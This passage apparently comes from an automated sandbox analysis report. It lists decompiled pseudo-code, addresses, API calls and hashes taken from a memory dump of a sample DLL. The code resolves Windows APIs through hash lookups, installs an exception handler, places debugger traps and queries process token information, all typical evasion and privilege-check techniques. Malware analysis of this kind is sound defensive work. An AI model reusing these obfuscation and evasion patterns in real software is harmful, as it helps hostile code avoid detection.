				_t20 =  *0x6ed6b1f4; // 0xb71340
				if(_t20 == 0xc139578) {
					 *0x6ed6b1f4 = 0;
					_t20 = 0;
				}
				if(_t20 == 0) {
					L10:
					_push(0x588ab3ea);
					_t10 = E6ED47564(0x588ab3ea);
					_t23 = _t10;
					if(_t23 == 0) {
						_t10 = E6ED46C50(0x588ab3ea);
						if(_t10 != 0) {
							_push(0x588ab3ea);
							_t10 = E6ED47564(0x588ab3ea);
							_t23 = _t10;
						}
					}
					if(_t23 == 0) {
						goto L15;
					} else {
						_t24 = _t24 + 0xfffffff8;
						_t10 = E6ED467C8(_t23, 0xcd123e03);
						_t22 = _t10;
						goto L13;
					}
				} else {
					do {
						_t18 = 0;
						_t10 = 0;
						while( *((intOrPtr*)(_t10 + _t20 + 8)) != 0xcd123e03) {
							_t18 = _t18 + 1;
							_t10 = _t10 + 0x18;
							if(_t18 < 0x10) {
								continue;
							}
							goto L9;
						}
						_t22 =  *((intOrPtr*)(_t10 + _t20 + 0x14));
						if(_t22 != 0) {
							L13:
							if(_t22 == 0) {
								L15:
								return _t10;
							}
							_t13 =  *_t22(0, _t24); // executed
							return _t13;
						}
						goto L10;
						L9:
						asm("o16 nop [eax+eax]");
						_t5 = _t20 + 0x180; // 0xb78e68
						_t20 =  *_t5;
					} while (_t20 != 0);
					goto L10;
				}
			}

0x6ed422a0
0x6ed422a1
0x6ed422a6
0x6ed422c2
0x6ed422c5
0x6ed422a8
0x6ed422b7
0x6ed422ba
0x6ed422ba
0x6ed422c9
0x6ed422d5
0x6ed422d7
0x6ed422e1
0x6ed422e1
0x6ed422e5
0x6ed4230e
0x6ed42313
0x6ed42314
0x6ed42319
0x6ed4231d
0x6ed4234a
0x6ed42351
0x6ed42358
0x6ed42359
0x6ed4235e
0x6ed4235e
0x6ed42351
0x6ed42321
0x00000000
0x6ed42323
0x6ed4232a
0x6ed4232d
0x6ed42332
0x00000000
0x6ed42332
0x6ed422e7
0x6ed422e7
0x6ed422e7
0x6ed422e9
0x6ed422eb
0x6ed422f5
0x6ed422f6
0x6ed422fc
0x00000000
0x00000000
0x00000000
0x6ed422fc
0x6ed42362
0x6ed42368
0x6ed42334
0x6ed42336
0x6ed42344
0x6ed42344
0x6ed42344
0x6ed4233e
0x00000000
0x6ed4233e
0x00000000
0x6ed422fe
0x6ed422fe
0x6ed42304
0x6ed42304
0x6ed4230a
0x00000000
0x6ed422e7

APIs

NtDelayExecution.NTDLL(00000000,00000000), ref: 6ED4233E

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: fb68737a07b37a162561cc12928680d2c05f260fae1010ac91b0d6cda542ab9c
Instruction ID: b2959f49bcd883411899f31567782ec5009ac46be80bb8e70f22eec5fb4c956b
Opcode Fuzzy Hash: fb68737a07b37a162561cc12928680d2c05f260fae1010ac91b0d6cda542ab9c
Instruction Fuzzy Hash: 0D112930B08613DBE7889BE94994B6A31EAAFA171CF15C62CD855DB288EA30C40182A1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED47A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6ED47A60(intOrPtr* __ecx) {
				void* _t1;

				_push(E6ED47D40);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6ed47a60
0x6ed47a65
0x6ed47a67
0x6ed47a69

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6ED47D40,6ED47A11,588AB3EA,?,?,6ED35168,00000001), ref: 6ED47A67

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: b1ea6ada0d12d4716e562fff0d92a0d577bb27bcf7688b8c21d1ac19c2eb8434
Instruction ID: 6db02b5f3b3093dd527860d703c9f4dee1498f9904847317dc211cebf4a3cd1a
Opcode Fuzzy Hash: b1ea6ada0d12d4716e562fff0d92a0d577bb27bcf7688b8c21d1ac19c2eb8434
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6ED467C8, Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9fdaa4e61467ca2d71ca9390c11580c78e89a0277898cd657720b2211ec7c7
Instruction ID: dda165026193a6d1e3149672b7e876de216c661a1ab8a75fdb6f47fa40bd259b
Opcode Fuzzy Hash: 6c9fdaa4e61467ca2d71ca9390c11580c78e89a0277898cd657720b2211ec7c7
Instruction Fuzzy Hash: AEC1D570628346CFE7A0DF95C49079E77E4BB95308F10C43DD8AA8B285EB70D546CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED447B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6ED447B0(void* __ebx, intOrPtr __edi, intOrPtr __esi) {
				void* _t93;
				long _t99;
				void* _t109;
				int _t112;
				intOrPtr _t118;
				char _t133;
				intOrPtr _t141;
				void* _t144;
				void* _t149;
				intOrPtr _t150;
				intOrPtr _t155;
				void* _t158;
				void* _t161;
				intOrPtr _t163;
				void* _t166;
				void* _t169;
				int _t174;
				intOrPtr _t179;
				void* _t182;
				void* _t185;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t203;
				intOrPtr* _t205;
				void* _t206;
				long _t207;
				void* _t209;
				void* _t213;
				void* _t214;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t242;
				void* _t243;
				void* _t245;
				long _t246;
				intOrPtr* _t248;
				long _t249;
				long _t250;
				long _t253;
				long _t255;
				long _t258;
				long _t259;
				long _t261;
				intOrPtr _t266;
				long _t267;
				intOrPtr _t270;
				intOrPtr _t272;
				intOrPtr* _t273;
				intOrPtr _t277;
				intOrPtr* _t278;
				void* _t281;
				signed int _t283;
				void* _t284;
				void* _t285;

				_t272 = __esi;
				_t270 = __edi;
				_t285 = _t284 - 0x38;
				_t246 =  *0x6ed6b1f4; // 0xb71340
				 *(_t285 + 0x34) = 0;
				if(_t246 == 0xc139578) {
					 *0x6ed6b1f4 = 0;
					goto L6;
				} else {
					if(_t246 == 0) {
						L6:
						_push(0x3ab94787);
						_t196 = E6ED47564(0x3ab94787);
						if(_t196 == 0) {
							if(E6ED46C50(0x3ab94787) != 0) {
								_push(0x3ab94787);
								_t196 = E6ED47564(0x3ab94787);
							}
						}
						if(_t196 == 0) {
							goto L25;
						} else {
							_t285 = _t285 + 0xfffffff8;
							_t248 = E6ED467C8(_t196, 0xc17c5a6e);
							goto L9;
						}
					} else {
						do {
							_t245 = 0;
							_t194 = 0;
							while( *((intOrPtr*)(_t194 + _t246 + 8)) != 0xc17c5a6e) {
								_t245 = _t245 + 1;
								_t194 = _t194 + 0x18;
								if(_t245 < 0x10) {
									continue;
								} else {
									goto L5;
								}
								goto L186;
							}
							_t248 =  *((intOrPtr*)(_t194 + _t246 + 0x14));
							if(_t248 != 0) {
								L9:
								if(_t248 == 0) {
									L25:
									return 0;
								} else {
									_push(_t285 + 0x34);
									_push(8);
									_push(0xffffffff);
									if( *_t248() == 0) {
										_t93 = E6ED47BF0(0xea5f6acc, _t272, 0xea5f6acc);
										if(_t93 != 0) {
											L174:
											if(_t93 == 0) {
												goto L178;
											} else {
												asm("int3");
												return _t93;
											}
										} else {
											_push(0xa1310f65);
											_t214 = E6ED47564(0xa1310f65);
											if(_t214 == 0) {
												if(E6ED46C50(0xa1310f65) != 0) {
													_push(0xa1310f65);
													_t214 = E6ED47564(0xa1310f65);
												}
											}
											if(_t214 == 0) {
												L178:
												if(0 != 0) {
													goto L25;
												} else {
													goto L11;
												}
											} else {
												_t285 = _t285 + 0xfffffff8;
												_t93 = E6ED467C8(_t214, 0xea5f6acc);
												goto L174;
											}
										}
									} else {
										L11:
										_t249 =  *0x6ed6b1f4; // 0xb71340
										 *(_t285 + 0x28) =  *(_t285 + 0x34);
										 *((char*)(_t285 + 0x2c)) = 1;
										 *(_t285 + 0x30) = 0;
										if(_t249 == 0xc139578) {
											 *0x6ed6b1f4 = 0;
											goto L17;
										} else {
											if(_t249 == 0) {
												L17:
												_push(0x3ab94787);
												_t198 = E6ED47564(0x3ab94787);
												if(_t198 == 0) {
													if(E6ED46C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t198 = E6ED47564(0x3ab94787);
													}
												}
												if(_t198 == 0) {
													goto L22;
												} else {
													_t285 = _t285 + 0xfffffff8;
													_t266 = E6ED467C8(_t198, 0x2eeff4c6);
													goto L20;
												}
											} else {
												do {
													_t243 = 0;
													_t185 = 0;
													while( *((intOrPtr*)(_t185 + _t249 + 8)) != 0x2eeff4c6) {
														_t243 = _t243 + 1;
														_t185 = _t185 + 0x18;
														if(_t243 < 0x10) {
															continue;
														} else {
															goto L16;
														}
														goto L186;
													}
													_t266 =  *((intOrPtr*)(_t185 + _t249 + 0x14));
													if(_t266 != 0) {
														L20:
														if(_t266 == 0) {
															L22:
															_t99 =  *(_t285 + 0x30);
															if(_t99 != 0) {
																_push(_t99);
																E6ED59350(_t285 + 4);
																_t250 =  *0x6ed6b1f4; // 0xb71340
																if(_t250 == 0xc139578) {
																	 *0x6ed6b1f4 = 0;
																	goto L32;
																} else {
																	if(_t250 == 0) {
																		L32:
																		_push(0x3ab94787);
																		_t199 = E6ED47564(0x3ab94787);
																		if(_t199 == 0) {
																			if(E6ED46C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t199 = E6ED47564(0x3ab94787);
																			}
																		}
																		if(_t199 == 0) {
																			goto L36;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t277 = E6ED467C8(_t199, 0x2eeff4c6);
																			goto L35;
																		}
																	} else {
																		do {
																			_t239 = 0;
																			_t169 = 0;
																			while( *((intOrPtr*)(_t169 + _t250 + 8)) != 0x2eeff4c6) {
																				_t239 = _t239 + 1;
																				_t169 = _t169 + 0x18;
																				if(_t239 < 0x10) {
																					continue;
																				} else {
																					goto L31;
																				}
																				goto L186;
																			}
																			_t277 =  *((intOrPtr*)(_t169 + _t250 + 0x14));
																			if(_t277 != 0) {
																				L35:
																				if(_t277 != 0) {
																					_t109 = E6ED59640(_t285 + 4, 0);
																					_t112 = GetTokenInformation( *(_t285 + 0x44), 2, _t109, E6ED59650(_t285), _t285 + 0x30); // executed
																					if(_t112 == 0) {
																						_t253 =  *0x6ed6b1f4; // 0xb71340
																						if(_t253 == 0xc139578) {
																							 *0x6ed6b1f4 = 0;
																							goto L131;
																						} else {
																							if(_t253 == 0) {
																								L131:
																								_push(0xa1310f65);
																								_t202 = E6ED47564(0xa1310f65);
																								if(_t202 == 0) {
																									if(E6ED46C50(0xa1310f65) != 0) {
																										_push(0xa1310f65);
																										_t202 = E6ED47564(0xa1310f65);
																									}
																								}
																								if(_t202 == 0) {
																									goto L138;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t163 = E6ED467C8(_t202, 0xea5f6acc);
																									goto L134;
																								}
																							} else {
																								do {
																									_t238 = 0;
																									_t166 = 0;
																									while( *((intOrPtr*)(_t166 + _t253 + 8)) != 0xea5f6acc) {
																										_t238 = _t238 + 1;
																										_t166 = _t166 + 0x18;
																										if(_t238 < 0x10) {
																											continue;
																										} else {
																											goto L130;
																										}
																										goto L186;
																									}
																									_t163 =  *((intOrPtr*)(_t166 + _t253 + 0x14));
																									if(_t163 != 0) {
																										L134:
																										if(_t163 == 0) {
																											L138:
																											if(0 != 0) {
																												goto L36;
																											} else {
																												goto L40;
																											}
																										} else {
																											asm("int3");
																											return _t163;
																										}
																									} else {
																										goto L131;
																									}
																									goto L186;
																									L130:
																									asm("o16 nop [eax+eax]");
																									_t70 = _t253 + 0x180; // 0xb78e68
																									_t253 =  *_t70;
																								} while (_t253 != 0);
																								goto L131;
																							}
																						}
																					} else {
																						L40:
																						_t278 = E6ED59640(_t285 + 4, 0);
																						_t118 =  *0x6ed6a148; // 0x0
																						 *((short*)(_t285 + 0x14)) =  *0x6ed6a14c & 0x0000ffff;
																						_t255 =  *0x6ed6b1f4; // 0xb71340
																						 *(_t285 + 0x24) = 0;
																						 *((intOrPtr*)(_t285 + 0x10)) = _t118;
																						if(_t255 == 0xc139578) {
																							 *0x6ed6b1f4 = 0;
																							goto L46;
																						} else {
																							if(_t255 == 0) {
																								L46:
																								_push(0x3ab94787);
																								_t203 = E6ED47564(0x3ab94787);
																								if(_t203 == 0) {
																									if(E6ED46C50(0x3ab94787) != 0) {
																										_push(0x3ab94787);
																										_t203 = E6ED47564(0x3ab94787);
																									}
																								}
																								if(_t203 == 0) {
																									goto L87;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t205 = E6ED467C8(_t203, 0xff8924ad);
																									goto L49;
																								}
																							} else {
																								do {
																									_t237 = 0;
																									_t161 = 0;
																									while( *((intOrPtr*)(_t161 + _t255 + 8)) != 0xff8924ad) {
																										_t237 = _t237 + 1;
																										_t161 = _t161 + 0x18;
																										if(_t237 < 0x10) {
																											continue;
																										} else {
																											goto L45;
																										}
																										goto L186;
																									}
																									_t205 =  *((intOrPtr*)(_t161 + _t255 + 0x14));
																									if(_t205 != 0) {
																										L49:
																										if(_t205 == 0) {
																											L87:
																											E6ED59510(_t285);
																											if( *((char*)(_t285 + 0x2c)) != 0) {
																												E6ED5BE30(_t285 + 0x28, _t272);
																											}
																											return 0;
																										} else {
																											_push(_t285 + 0x24);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0x220);
																											_push(0x20);
																											_push(2);
																											_push(_t285 + 0x10);
																											if( *_t205() == 0) {
																												_t258 =  *0x6ed6b1f4; // 0xb71340
																												if(_t258 == 0xc139578) {
																													 *0x6ed6b1f4 = 0;
																													goto L107;
																												} else {
																													if(_t258 == 0) {
																														L107:
																														_push(0xa1310f65);
																														_t206 = E6ED47564(0xa1310f65);
																														if(_t206 == 0) {
																															if(E6ED46C50(0xa1310f65) != 0) {
																																_push(0xa1310f65);
																																_t206 = E6ED47564(0xa1310f65);
																															}
																														}
																														if(_t206 == 0) {
																															goto L114;
																														} else {
																															_t285 = _t285 + 0xfffffff8;
																															_t155 = E6ED467C8(_t206, 0xea5f6acc);
																															goto L110;
																														}
																													} else {
																														do {
																															_t236 = 0;
																															_t158 = 0;
																															while( *((intOrPtr*)(_t158 + _t258 + 8)) != 0xea5f6acc) {
																																_t236 = _t236 + 1;
																																_t158 = _t158 + 0x18;
																																if(_t236 < 0x10) {
																																	continue;
																																} else {
																																	goto L106;
																																}
																																goto L186;
																															}
																															_t155 =  *((intOrPtr*)(_t158 + _t258 + 0x14));
																															if(_t155 != 0) {
																																L110:
																																if(_t155 == 0) {
																																	L114:
																																	if(0 != 0) {
																																		goto L87;
																																	} else {
																																		goto L51;
																																	}
																																} else {
																																	asm("int3");
																																	return _t155;
																																}
																															} else {
																																goto L107;
																															}
																															goto L186;
																															L106:
																															asm("o16 nop [eax+eax]");
																															_t63 = _t258 + 0x180; // 0xb78e68
																															_t258 =  *_t63;
																														} while (_t258 != 0);
																														goto L107;
																													}
																												}
																											} else {
																												L51:
																												_t207 =  *(_t285 + 0x24);
																												if( *_t278 <= 0) {
																													L67:
																													if(_t207 == 0 || _t207 == 0xffffffff) {
																														_t133 = 1;
																													} else {
																														_t133 = 0;
																													}
																													if(_t133 != 0) {
																														L84:
																														E6ED59510(_t285);
																														if( *((char*)(_t285 + 0x2c)) != 0) {
																															E6ED5BE30(_t285 + 0x28, _t272);
																														}
																														return 0;
																													} else {
																														_t259 =  *0x6ed6b1f4; // 0xb71340
																														if(_t259 == 0xc139578) {
																															 *0x6ed6b1f4 = 0;
																															goto L79;
																														} else {
																															if(_t259 == 0) {
																																L79:
																																_push(0x3ab94787);
																																_t281 = E6ED47564(0x3ab94787);
																																if(_t281 == 0) {
																																	if(E6ED46C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t281 = E6ED47564(0x3ab94787);
																																	}
																																}
																																if(_t281 == 0) {
																																	goto L84;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t141 = E6ED467C8(_t281, 0x9d775c6);
																																	goto L82;
																																}
																															} else {
																																do {
																																	_t233 = 0;
																																	_t144 = 0;
																																	while( *((intOrPtr*)(_t144 + _t259 + 8)) != 0x9d775c6) {
																																		_t233 = _t233 + 1;
																																		_t144 = _t144 + 0x18;
																																		if(_t233 < 0x10) {
																																			continue;
																																		} else {
																																			goto L78;
																																		}
																																		goto L186;
																																	}
																																	_t141 =  *((intOrPtr*)(_t144 + _t259 + 0x14));
																																	if(_t141 != 0) {
																																		L82:
																																		if(_t141 == 0) {
																																			goto L84;
																																		} else {
																																			_push(_t207);
																																			asm("int3");
																																			return _t141;
																																		}
																																	} else {
																																		goto L79;
																																	}
																																	goto L186;
																																	L78:
																																	asm("o16 nop [eax+eax]");
																																	_t52 = _t259 + 0x180; // 0xb78e68
																																	_t259 =  *_t52;
																																} while (_t259 != 0);
																																goto L79;
																															}
																														}
																													}
																												} else {
																													 *(_t285 + 0x18) = _t207;
																													 *((intOrPtr*)(_t285 + 0x1c)) = _t272;
																													_t273 = _t278;
																													 *((intOrPtr*)(_t285 + 0x20)) = _t270;
																													_t283 = 0;
																													do {
																														_t261 =  *0x6ed6b1f4; // 0xb71340
																														if(_t261 == 0xc139578) {
																															 *0x6ed6b1f4 = 0;
																															goto L60;
																														} else {
																															if(_t261 == 0) {
																																L60:
																																_push(0x3ab94787);
																																_t209 = E6ED47564(0x3ab94787);
																																if(_t209 == 0) {
																																	if(E6ED46C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t209 = E6ED47564(0x3ab94787);
																																	}
																																}
																																if(_t209 == 0) {
																																	goto L65;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t150 = E6ED467C8(_t209, 0x68adfb76);
																																	goto L63;
																																}
																															} else {
																																do {
																																	_t235 = 0;
																																	_t149 = 0;
																																	while( *((intOrPtr*)(_t149 + _t261 + 8)) != 0x68adfb76) {
																																		_t235 = _t235 + 1;
																																		_t149 = _t149 + 0x18;
																																		if(_t235 < 0x10) {
																																			continue;
																																		} else {
																																			goto L59;
																																		}
																																		goto L186;
																																	}
																																	_t150 =  *((intOrPtr*)(_t149 + _t261 + 0x14));
																																	if(_t150 != 0) {
																																		L63:
																																		if(_t150 == 0) {
																																			goto L65;
																																		} else {
																																			_push( *((intOrPtr*)(_t273 + 4 + _t283 * 8)));
																																			_push( *(_t285 + 0x28));
																																			asm("int3");
																																			return _t150;
																																		}
																																	} else {
																																		goto L60;
																																	}
																																	goto L186;
																																	L59:
																																	asm("o16 nop [eax+eax]");
																																	_t42 = _t261 + 0x180; // 0xb78e68
																																	_t261 =  *_t42;
																																} while (_t261 != 0);
																																goto L60;
																															}
																														}
																														goto L186;
																														L65:
																														_t283 = _t283 + 1;
																													} while (_t283 <  *_t273);
																													_t207 =  *(_t285 + 0x18);
																													_t272 =  *((intOrPtr*)(_t285 + 0x1c));
																													goto L67;
																												}
																											}
																										}
																									} else {
																										goto L46;
																									}
																									goto L186;
																									L45:
																									asm("o16 nop [eax+eax]");
																									_t33 = _t255 + 0x180; // 0xb78e68
																									_t255 =  *_t33;
																								} while (_t255 != 0);
																								goto L46;
																							}
																						}
																					}
																				} else {
																					L36:
																					E6ED59510(_t285);
																					if( *((char*)(_t285 + 0x2c)) != 0) {
																						E6ED5BE30(_t285 + 0x28, _t272);
																					}
																					return 0;
																				}
																			} else {
																				goto L32;
																			}
																			goto L186;
																			L31:
																			asm("o16 nop [eax+eax]");
																			_t21 = _t250 + 0x180; // 0xb78e68
																			_t250 =  *_t21;
																		} while (_t250 != 0);
																		goto L32;
																	}
																}
															} else {
																if( *((char*)(_t285 + 0x2c)) != 0) {
																	E6ED5BE30(_t285 + 0x28, _t272);
																}
																goto L25;
															}
														} else {
															_t174 = GetTokenInformation( *(_t285 + 0x44), 2, 0, 0, _t285 + 0x30); // executed
															if(_t174 == 0) {
																_t267 =  *0x6ed6b1f4; // 0xb71340
																if(_t267 == 0xc139578) {
																	 *0x6ed6b1f4 = 0;
																	goto L155;
																} else {
																	if(_t267 == 0) {
																		L155:
																		_push(0xa1310f65);
																		_t213 = E6ED47564(0xa1310f65);
																		if(_t213 == 0) {
																			if(E6ED46C50(0xa1310f65) != 0) {
																				_push(0xa1310f65);
																				_t213 = E6ED47564(0xa1310f65);
																			}
																		}
																		if(_t213 == 0) {
																			goto L22;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t179 = E6ED467C8(_t213, 0xea5f6acc);
																			goto L158;
																		}
																	} else {
																		do {
																			_t242 = 0;
																			_t182 = 0;
																			while( *((intOrPtr*)(_t182 + _t267 + 8)) != 0xea5f6acc) {
																				_t242 = _t242 + 1;
																				_t182 = _t182 + 0x18;
																				if(_t242 < 0x10) {
																					continue;
																				} else {
																					goto L154;
																				}
																				goto L186;
																			}
																			_t179 =  *((intOrPtr*)(_t182 + _t267 + 0x14));
																			if(_t179 != 0) {
																				L158:
																				if(_t179 == 0) {
																					goto L22;
																				} else {
																					asm("int3");
																					return _t179;
																				}
																			} else {
																				goto L155;
																			}
																			goto L186;
																			L154:
																			asm("o16 nop [eax+eax]");
																			_t77 = _t267 + 0x180; // 0xb78e68
																			_t267 =  *_t77;
																		} while (_t267 != 0);
																		goto L155;
																	}
																}
															} else {
																goto L22;
															}
														}
													} else {
														goto L17;
													}
													goto L186;
													L16:
													asm("o16 nop [eax+eax]");
													_t12 = _t249 + 0x180; // 0xb78e68
													_t249 =  *_t12;
												} while (_t249 != 0);
												goto L17;
											}
										}
									}
								}
							} else {
								goto L6;
							}
							goto L186;
							L5:
							asm("o16 nop [eax+eax]");
							_t4 = _t246 + 0x180; // 0xb78e68
							_t246 =  *_t4;
						} while (_t246 != 0);
						goto L6;
					}
				}
				L186:
			}

0x6ed447b0
0x6ed447b0
0x6ed447b2
0x6ed447b5
0x6ed447bb
0x6ed447c9
0x6ed450e3
0x00000000
0x6ed447cf
0x6ed447d1
0x6ed447fe
0x6ed44803
0x6ed44809
0x6ed4480d
0x6ed450ba
0x6ed450c5
0x6ed450cb
0x6ed450cb
0x6ed450ba
0x6ed44815
0x00000000
0x6ed4481b
0x6ed44822
0x6ed4482a
0x00000000
0x6ed4482a
0x6ed447d3
0x6ed447d3
0x6ed447d3
0x6ed447d5
0x6ed447d7
0x6ed447e5
0x6ed447e6
0x6ed447ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed447ec
0x6ed450d2
0x6ed450d8
0x6ed4482c
0x6ed4482e
0x6ed448fc
0x6ed44903
0x6ed44834
0x6ed44838
0x6ed44839
0x6ed4483b
0x6ed44841
0x6ed4504d
0x6ed45054
0x6ed4507a
0x6ed4507c
0x00000000
0x6ed4507e
0x6ed4507e
0x6ed4507f
0x6ed4507f
0x6ed45056
0x6ed4505b
0x6ed45061
0x6ed45065
0x6ed4509d
0x6ed450a4
0x6ed450aa
0x6ed450aa
0x6ed4509d
0x6ed45069
0x6ed4508d
0x6ed45082
0x00000000
0x6ed45088
0x00000000
0x6ed45088
0x6ed4506b
0x6ed45072
0x6ed45075
0x00000000
0x6ed45075
0x6ed45069
0x6ed44847
0x6ed44847
0x6ed4484b
0x6ed44851
0x6ed44855
0x6ed4485a
0x6ed44868
0x6ed45038
0x00000000
0x6ed4486e
0x6ed44870
0x6ed4489d
0x6ed448a2
0x6ed448a8
0x6ed448ac
0x6ed4500f
0x6ed4501a
0x6ed45020
0x6ed45020
0x6ed4500f
0x6ed448b4
0x00000000
0x6ed448b6
0x6ed448bd
0x6ed448c5
0x00000000
0x6ed448c5
0x6ed44872
0x6ed44872
0x6ed44872
0x6ed44874
0x6ed44876
0x6ed44884
0x6ed44885
0x6ed4488b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4488b
0x6ed45027
0x6ed4502d
0x6ed448c7
0x6ed448c9
0x6ed448e4
0x6ed448e4
0x6ed448ea
0x6ed44904
0x6ed44909
0x6ed4490e
0x6ed4491a
0x6ed44f51
0x00000000
0x6ed44920
0x6ed44922
0x6ed4494f
0x6ed44954
0x6ed4495a
0x6ed4495e
0x6ed44f28
0x6ed44f33
0x6ed44f39
0x6ed44f39
0x6ed44f28
0x6ed44966
0x00000000
0x6ed44968
0x6ed4496f
0x6ed44977
0x00000000
0x6ed44977
0x6ed44924
0x6ed44924
0x6ed44924
0x6ed44926
0x6ed44928
0x6ed44936
0x6ed44937
0x6ed4493d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4493d
0x6ed44f40
0x6ed44f46
0x6ed44979
0x6ed4497b
0x6ed449a3
0x6ed449c1
0x6ed449c5
0x6ed44e71
0x6ed44e7d
0x6ed44f10
0x00000000
0x6ed44e83
0x6ed44e85
0x6ed44eae
0x6ed44eb3
0x6ed44eb9
0x6ed44ebd
0x6ed44ef5
0x6ed44efc
0x6ed44f02
0x6ed44f02
0x6ed44ef5
0x6ed44ec1
0x00000000
0x6ed44ec3
0x6ed44eca
0x6ed44ecd
0x00000000
0x6ed44ecd
0x6ed44e87
0x6ed44e87
0x6ed44e87
0x6ed44e89
0x6ed44e8b
0x6ed44e95
0x6ed44e96
0x6ed44e9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44e9c
0x6ed44f06
0x6ed44f0c
0x6ed44ed2
0x6ed44ed4
0x6ed44ee5
0x6ed44eda
0x00000000
0x6ed44ee0
0x00000000
0x6ed44ee0
0x6ed44ed6
0x6ed44ed6
0x6ed44ed7
0x6ed44ed7
0x6ed44f0e
0x00000000
0x6ed44f0e
0x00000000
0x6ed44e9e
0x6ed44e9e
0x6ed44ea4
0x6ed44ea4
0x6ed44eaa
0x00000000
0x6ed44e87
0x6ed44e85
0x6ed449cb
0x6ed449cb
0x6ed449d6
0x6ed449df
0x6ed449e4
0x6ed449e9
0x6ed449ef
0x6ed449f7
0x6ed44a01
0x6ed44e62
0x00000000
0x6ed44a07
0x6ed44a09
0x6ed44a36
0x6ed44a3b
0x6ed44a41
0x6ed44a45
0x6ed44e39
0x6ed44e44
0x6ed44e4a
0x6ed44e4a
0x6ed44e39
0x6ed44a4d
0x00000000
0x6ed44a53
0x6ed44a5a
0x6ed44a62
0x00000000
0x6ed44a62
0x6ed44a0b
0x6ed44a0b
0x6ed44a0b
0x6ed44a0d
0x6ed44a0f
0x6ed44a1d
0x6ed44a1e
0x6ed44a24
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44a24
0x6ed44e51
0x6ed44e57
0x6ed44a64
0x6ed44a66
0x6ed44bef
0x6ed44bf2
0x6ed44bfc
0x6ed44c02
0x6ed44c02
0x6ed44c0e
0x6ed44a6c
0x6ed44a76
0x6ed44a77
0x6ed44a78
0x6ed44a79
0x6ed44a7a
0x6ed44a7b
0x6ed44a7c
0x6ed44a7d
0x6ed44a82
0x6ed44a84
0x6ed44a86
0x6ed44a8b
0x6ed44d80
0x6ed44d8c
0x6ed44e21
0x00000000
0x6ed44d92
0x6ed44d94
0x6ed44dbf
0x6ed44dc4
0x6ed44dca
0x6ed44dce
0x6ed44e06
0x6ed44e0d
0x6ed44e13
0x6ed44e13
0x6ed44e06
0x6ed44dd2
0x00000000
0x6ed44dd4
0x6ed44ddb
0x6ed44dde
0x00000000
0x6ed44dde
0x6ed44d96
0x6ed44d98
0x6ed44d98
0x6ed44d9a
0x6ed44d9c
0x6ed44da6
0x6ed44da7
0x6ed44dad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44dad
0x6ed44e17
0x6ed44e1d
0x6ed44de3
0x6ed44de5
0x6ed44df6
0x6ed44deb
0x00000000
0x6ed44df1
0x00000000
0x6ed44df1
0x6ed44de7
0x6ed44de7
0x6ed44de8
0x6ed44de8
0x6ed44e1f
0x00000000
0x6ed44e1f
0x00000000
0x6ed44daf
0x6ed44daf
0x6ed44db5
0x6ed44db5
0x6ed44dbb
0x00000000
0x6ed44d98
0x6ed44d94
0x6ed44a91
0x6ed44a91
0x6ed44a91
0x6ed44a99
0x6ed44b47
0x6ed44b49
0x6ed44b54
0x6ed44b50
0x6ed44b50
0x6ed44b50
0x6ed44b5b
0x6ed44bcf
0x6ed44bd2
0x6ed44bdc
